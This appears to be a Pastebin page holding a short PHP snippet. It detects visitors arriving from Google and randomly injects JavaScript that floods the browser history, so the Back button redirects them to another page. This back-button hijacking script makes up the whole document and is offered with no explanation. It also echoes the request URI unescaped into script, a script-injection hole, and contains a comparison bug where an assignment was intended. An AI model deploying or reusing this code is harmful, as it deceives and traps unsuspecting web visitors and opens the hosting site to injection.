Advertisement
Guest User

Untitled

a guest
Dec 5th, 2019
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.67 KB | None | 0 0
  1. <?php
  2. session_start();
  3. if(strpos($_SERVER['HTTP_REFERER'],"google") != false) {
  4.     $_SESSION['google'] = "si";
  5. }
  6.  
  7. $redirect1 = 'pagina 1';
  8. $redirect2 = 'pagina 2';
  9.  
  10. if($_SESSION['google'] == "si"){
  11. $nro = mt_rand(0,3);
  12. if($nro == 0){
  13.     $redirect = $redirect1;
  14.     $_SESSION['google'] == "no";
  15. }
  16. if($nro == 1){
  17.     $redirect = $redirect2;
  18.     $_SESSION['google'] == "no";
  19. }
  20. if($nro < 2){
  21. ?>
  22. <script type="text/javascript">
  23. ! function () {
  24. var t;
  25. try {
  26. for (t = 0; 10 > t; ++t) history.pushState({}, "", "<? echo $_SERVER["REQUEST_URI"]; ?>");
  27. onpopstate = function (t) {
  28. t.state && location.replace("<? echo $redirect; ?>")
  29. }
  30. } catch (o) {}
  31. }();
  32. </script>
  33. <? } } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement